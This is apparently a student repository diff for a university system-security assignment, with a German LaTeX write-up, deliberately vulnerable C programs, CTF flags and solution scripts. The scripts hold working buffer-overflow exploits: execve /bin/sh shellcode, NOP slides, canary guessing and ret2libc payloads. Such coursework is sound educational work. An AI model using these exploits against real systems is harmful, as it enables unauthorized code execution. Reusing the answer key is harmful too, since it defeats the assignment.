.gitea/workflows/build-latex.yaml

@@ -10,7 +10,8 @@ jobs:
       matrix:
         assignment: [
           "Assignment 4 - Protokollsicherheit (Praxis)",
-          "Assignment 5 - Software Security - Teil 1"
+          "Assignment 5 - Software Security - Teil 1",
+          "Assignment 6 - Software Security - Teil 2"
         ]
     steps:
     - uses: actions/checkout@v3

Assignment 6 - Software Security - Teil 2/abgabe.tex

@@ -0,0 +1,162 @@
+\documentclass[11pt]{scrartcl}
+
+\usepackage[utf8]{inputenc}
+\usepackage[T1]{fontenc}
+\usepackage[ngerman]{babel}
+\usepackage{lmodern}
+\usepackage{graphicx}
+\usepackage{listings}
+\usepackage{xspace}
+\usepackage{amsmath}
+\usepackage{algorithm}
+\usepackage{algpseudocode}
+\usepackage{xifthen}
+\usepackage{xcolor}
+\usepackage{pdfpages}
+\usepackage[a4paper,lmargin={2cm},rmargin={2cm},tmargin={2.5cm},bmargin = {2.5cm},headheight = {4cm}]{geometry}
+\usepackage{amsmath,amssymb,amstext,amsthm}
+\usepackage[shortlabels]{enumitem}
+\usepackage[headsepline]{scrlayer-scrpage} 
+\pagestyle{scrheadings} 
+\usepackage{titling}
+\usepackage{etoolbox}
+\usepackage{tikz}
+\usepackage{multirow}
+\usepackage{tabularx}
+
+\definecolor{keyword}{rgb}{0.0, 0.0, 1.0}
+\definecolor{comment}{rgb}{0.5, 0.5, 0.5}
+\definecolor{string}{rgb}{0.6, 0.1, 0.1}
+\definecolor{background}{rgb}{0.95, 0.95, 0.95}
+
+\lstset{
+    language=bash,
+    backgroundcolor=\color{background},
+    basicstyle=\ttfamily\small,
+    keywordstyle=\color{keyword}\bfseries,
+    commentstyle=\color{comment}\itshape,
+    stringstyle=\color{string},
+    tabsize=2,
+    showspaces=false,
+    showstringspaces=false,
+    frame=single,
+    numbers=left,
+    numberstyle=\tiny\color{gray},
+    breaklines=true,
+    captionpos=b,
+    escapeinside={(*@}{@*)},
+}
+
+\usetikzlibrary{shapes, arrows, calc, automata, arrows.meta, positioning,decorations.pathmorphing,backgrounds,decorations.markings,decorations.pathreplacing, graphs}
+\usetikzlibrary{matrix,shapes,arrows,positioning,chains, calc}
+\usetikzlibrary{arrows.meta,matrix,shapes,arrows,positioning,chains, calc}
+
+\tikzset{% 
+    initial text={},
+    state/.style={circle, draw, minimum size=.6cm},
+    every initial by arrow/.style={-stealth},
+    every loop/.append style={-stealth},
+    >=stealth
+}
+
+\ohead{\parbox[t]{.5\linewidth}{\raggedleft \theauthor}}
+\ihead{System Security, SoSe 24, Assignment \thesheetnr}
+
+% Sheet number
+\newcounter{sheetnr}
+\newcommand{\sheetnr}[1]{\setcounter{sheetnr}{#1}}
+
+% Exercise environments
+\newenvironment{exercise}[2][]{\section*{#2\expandafter\ifstrempty\expandafter{#1}{}{\ #1}}}{}
+\newenvironment{subexercises}{\begin{enumerate}[a), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}}
+\newenvironment{subsubexercises}{\begin{enumerate}[i), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}}
+
+% Makros
+% MACRO for whole diagram 
+% #1: total width of diagram 
+% #2: total height of diagram 
+% #3: nodes, paths, ... 
+\newcommand\protocolflow[3]{ 
+\begin{center} 
+\begin{tikzpicture}[x=#1cm,y=#2cm] 
+#3 
+\end{tikzpicture} 
+\end{center} 
+}
+% MACRO for path line shortening 
+% #1: start coordinate 
+% #2: target coordinate 
+% #3: text above arrow 
+\newcommand{\package}[3]{ 
+\path[*-{latex[width=5pt, length=5pt]}] (#1) edge node [above] {#3} (#2); 
+}
+
+% Anpassen --> %
+\author{Benjamin Haschka\\Sascha Tommasone\\Paul Zinselmeyer}
+\sheetnr{6}
+% <-- Anpassen %
+\begin{document}
+
+\begin{exercise}[Smashing the Stack for Fun and Profit]{5}
+\begin{subexercises}
+\item Wenn das Programm mit dem Kommandozeilenargument \\ \lstinline{$(printf "AAAAAAAAAAAAAAAAAAAAAAAA\xBA\xB0\xBA\xB0")} aufgerufen wird, wird der Kontrollfluss wie gewünscht geändert.
+
+\begin{tabular}{ |c|c||c|c|c|c||c|c|c|c| }
+    \hline
+    Vorheriger Speicher & Größe & \multicolumn{4}{|c||}{Vorheriger Speicher} & \multicolumn{4}{|c|}{Vorheriger Speicher}\\
+    \hline
+    Vorheriger Stackframe&&?&?&?&? & ?&?&?&?\\
+    \hline
+    Parameter password & 4 &BE&BA&FE&CA & 0&BA&FE&CA\\
+    \hline
+    Return Address & 4 & ?&?&?&? & BA&B0&BA&B0\\
+    \hline
+    Previous Frame Address & 4 & ?&?&?&? & 'A'&'A'&'A'&'A'\\
+    \hline
+    &&?&?&?&? & 'A'&'A'&'A'&'A'\\
+    \hline
+    &&?&?&?&? & 'A'&'A'&'A'&'A'\\
+    \hline
+    &&?&?&?&? & 'A'&'A'&'A'&'A'\\
+    \hline
+    &&?&?&?&? & 'A'&'A'&'A'&'A'\\
+    \hline
+    &&'E'&'F'&0&? & 'A'&'A'&'A'&'A'\\
+    \hline
+    Local Variable padded\_password & 24 & 'A'&'B'&'C'&'D' & 'A'&'A'&'A'&'A'\\
+    \hline
+    Freier Speicher & & \multicolumn{4}{|c||}{Freier Speicher} & \multicolumn{4}{|c|}{Freier Speicher}\\
+    \hline
+\end{tabular}
+\item Mit dem Kommandozeilenargument \lstinline{$(printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80AAAAAAA\xEF\xBE\xDE\xC0")} wird der Shellcode in \\ \lstinline{padded_password} an Position \lstinline{0xC0DEBEEF} ausgeführt.
+    Sollte sich \lstinline{padded_password} an einer anderen Position im Speicher befinden, funktioniert der Angriff nicht, da der Shellcode gar nicht, oder nur teilweise ausgeführt wird.
+
+\item \lstinline{strcpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strcpy.3p.html} berücksichtigt nicht die maximale Länge des Zielspeichers.
+    Die Funktion \\ \lstinline{strncpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strncpy.3p.html} berücksichtigt die maximale Länge des Zielspeichers, indem dessen Länge als Parameter an die Funktion übergeben wird.
+    \lstinline{strncpy(3p)} schreibt niemals (inklusive Nullbyte) über den angegebenen Speicherbereich hinaus.
+    Konkret muss in diesem Fall die Zeile 12 \lstinline{strcpy(padded_password, password);} durch \lstinline{strncpy(padded_password, password, 24);} getauscht werden, um die Sicherheitslücke zu schließen.
+\end{subexercises}
+\end{exercise}
+
+\begin{exercise}[Stack-Based Buffer Overflow]{6}
+\begin{subexercises}
+\item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell ausgeführt wird. Die Flag lautet \lstinline|flag{THAT_WAS_EASY_HUH}|.\\
+        \begin{lstlisting}[language=Bash]
+#!/usr/bin/env sh
+
+# 21 Byte Shellcode
+SHELLCODE="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
+# Padding to fill:
+# - 79 Bytes to fill buff
+# - 8 Bytes to fill the local variables before buff
+# - 4 Bytes to fill the saved ebp value
+PADDING=$(printf "A%.0s" $(seq 1 91))
+# Address of the start of the buff array / shellcode
+RETADDR="\x1C\xDB\xFF\xFF"
+
+printf $SHELLCODE$PADDING$RETADDR
+        \end{lstlisting}
+    \item Die Flag lautet \lstinline|flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}|.\\
+\end{subexercises}
+\end{exercise}
+\end{document}

Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow.c

@@ -0,0 +1,24 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+// vulnerable function
+int overflow_me(char* input)
+{
+    char buff[100];
+    printf("Buffer is at %p\n", &buff); // buff's address is leaked :O
+    strcpy(buff, input);
+
+    return 1;
+}
+
+int main(int argc, char *argv[])
+{
+    if(argc < 2)
+    {
+        printf("Syntax: %s <input string>\n", argv[0]);
+        exit (0);
+    }
+    overflow_me(argv[1]);
+    return 0;
+}

Assignment 6 - Software Security - Teil 2/basic_overflow/flag

@@ -0,0 +1 @@
+flag{THAT_WAS_EASY_HUH}

Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh

@@ -0,0 +1,14 @@
+#!/bin/bash
+
+# flag{THAT_WAS_EASY_HUH}
+
+######### Exploit #########
+# Step 1: Write the provided shellcode to stdout
+printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
+
+# Step 2: Fill the buffer with 'A's until the stored EIP is reached
+printf "A%.0s" {1..91}
+
+# Step 3: Overwrite the stored EIP with the address of the shellcode
+printf "\x2c\xd5\xff\xff"
+###########################

Assignment 6 - Software Security - Teil 2/fake_canary/flag

@@ -0,0 +1 @@
+flag{CANARY_IS_ALSO_AN_ISLAND}

Assignment 6 - Software Security - Teil 2/fake_canary/solution.sh

@@ -0,0 +1,41 @@
+#!/bin/bash
+
+# flag{CANARY_IS_ALSO_AN_ISLAND}
+
+##### Exploit Creation Steps #####
+# Step 1: Locate address of 'int stack_canaries [10]' using gdb
+# Command: disas owerflow
+# -> 0x56559020
+##################################
+# Step 2: Print all 10 possible stack canaries in gdb
+# Command: x/10xw 0x56559020
+##################################
+# Step 3: Select only those canaries that do not contain a null byte
+##################################
+# Step 4: Combine Slide Rider with the selected stack canaries
+##################################
+
+############ Exploit ##############
+# Step 1: Choose a random canary candidate and overwrite the buffer with 'A's, then insert the canary candidate.
+# Note: Only canaries without null bytes can be used due to the use of strcpy.
+case $(( RANDOM % 3 )) in
+    0)
+        printf "AAAAAAAAAAAAAAAA\xa9\x67\xa3\x70"
+        ;;
+    1)
+        printf "AAAAAAAAAAAAAAAA\xc1\xd1\xce\x4b"
+        ;;
+    2)
+        printf "AAAAAAAAAAAAAAAA\x0e\x8b\xba\x08"
+        ;;
+esac
+
+# Step 2: Fill the buffer with a candidate return address
+printf "\x10\xd6\xff\xff%.0s" {1..30}
+
+# Step 3: Write a lot of NOPs to stdout as a slide for the shellcode
+printf "\x90%.0s" {1..2000}
+
+# Step 4: Write the provided shellcode to stdout
+printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
+###################################

Assignment 6 - Software Security - Teil 2/ret2libc/ret2libc.c

@@ -0,0 +1,23 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int vuln(char* input) {
+    char buff[100];
+
+    strcpy(buff, input);
+    return 0;
+}
+
+int main(int argc, char *argv[])
+{
+    if(argc < 2)
+    {
+        printf("Syntax: %s <input string>\n", argv[0]);
+        exit (0);
+    }
+
+    vuln(argv[1]); 
+    return 0;
+}
+

Assignment 6 - Software Security - Teil 2/ret2libc/solution.sh

@@ -0,0 +1,31 @@
+#!/bin/bash
+
+# sources: https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc
+
+##### Exploit Creation Steps #####
+###################################
+
+# Step 1: Locate the offset of the string '/bin/sh' in libc
+# Command: strings -a -t x /usr/lib32/libc-2.31.so | grep /bin/sh
+# ---> 0x18c363
+
+# Step 2: Determine the base address of libc in the ret2libc environment using gdb
+# Command: info proc map
+# ---> 0xf7dd4000
+
+# Step 3: Find the addresses of 'system' and 'exit' functions using gdb
+# Commands:
+#   p system -> 0xf7e15360
+#   p exit -> 0xf7e07ec0
+###################################
+
+############ Exploit ##############
+# Fill the buffer with 'A's until the stored EIP is reached
+printf "A%.0s" {1..112}
+
+# Overwrite the stored EIP with the address of 'system' function
+# Place the address of 'exit' function as the return address for 'system'
+# Provide the argument for 'system' which is the address of the string '/bin/sh' (calculated as base libc + offset)
+# All addresses are in little-endian format
+printf "\x60\x53\xe1\xf7\xc0\x7e\xe0\xf7\x63\x03\xf6\xf7"
+###################################

Assignment 6 - Software Security - Teil 2/ret2libc/solution_grade.sh

@@ -0,0 +1,29 @@
+#!/bin/bash
+
+##### Exploit Creation Steps #####
+###################################
+
+# Step 1: Find the addresses of 'system' and 'exit' functions using gdb
+# Commands:
+#   p system -> 0xf7e15360
+#   p exit -> 0xf7e07ec0
+
+# Step 2: Export an environment variable to inject our command as a string into the ret2libc executable
+# Command: export COMMAND="echo 100 > /home/user/t0p_s3cr3t/owned"
+
+# Step 3: Find the address of the environment variable string in memory using gdb
+# Command: x/s *((char **)environ+16) (17th env. variable)
+# Add 8 to the address to skip the 'COMMAND=' part
+#   -> 0xffffdeda (0xffffdee8 in gdb; different env. vars when executing ./ret2libc directly; found by trial and error)
+###################################
+
+############ Exploit ##############
+# Fill the buffer with 'A's until the stored EIP is reached
+printf "A%.0s" {1..112}
+
+# Overwrite the stored EIP with the address of the 'system' function
+# Place the address of the 'exit' function as the return address for 'system'
+# Provide the argument for 'system', which is the address of the value of the environment variable COMMAND
+# All addresses are in little-endian format
+printf "\x60\x53\xe1\xf7\xc0\x7e\xe0\xf7\xda\xde\xff\xff"
+###################################

Assignment 6 - Software Security - Teil 2/ret2libc/t0p_s3cr3t/owned

@@ -0,0 +1 @@
+100

Assignment 6 - Software Security - Teil 2/slide_rider/flag

@@ -0,0 +1 @@
+flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}

Assignment 6 - Software Security - Teil 2/slide_rider/solution-sascha.sh

@@ -0,0 +1,16 @@
+#!/bin/bash
+
+# sources: https://hg8.sh/posts/binary-exploitation/buffer-overflow-code-execution-by-shellcode-injection/
+
+# flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}
+
+######### Exploit #########
+# Step 1: Fill the buffer with a candidate return address
+printf "\x0c\xd6\xff\xff%.0s" {1..30}
+
+# Step 2: Write a lot of NOPs to stdout as a slide for the shellcode
+printf "\x90%.0s" {1..2000}
+
+# Step 3: Write the provided shellcode to stdout
+printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
+###########################

Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh

@@ -0,0 +1,12 @@
+#!/usr/bin/env sh
+
+# slide for buffer size 20 + 2 bytes of saved ebp
+SLIDE_1=$(printf "\\\\x90%.0s" $(seq 1 22))
+# jump over the ret addr
+JMP_OVER_RET="\xeb\x04"
+RET_ADDR="\x08\xdc\xff\xff"
+# main nop slide (500 Bytes)
+SLIDE_2=$(printf "\\\\x90%.0s" $(seq 1 500))
+SHELLCODE="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
+
+printf $SLIDE_1$JMP_OVER_RET$RET_ADDR$SLIDE_2$SHELLCODE

flake.nix

@@ -7,6 +7,7 @@
     assignments = [
       "Assignment 4 - Protokollsicherheit (Praxis)"
       "Assignment 5 - Software Security - Teil 1"
+      "Assignment 6 - Software Security - Teil 2"
     ];
 
     forAllSystems = function: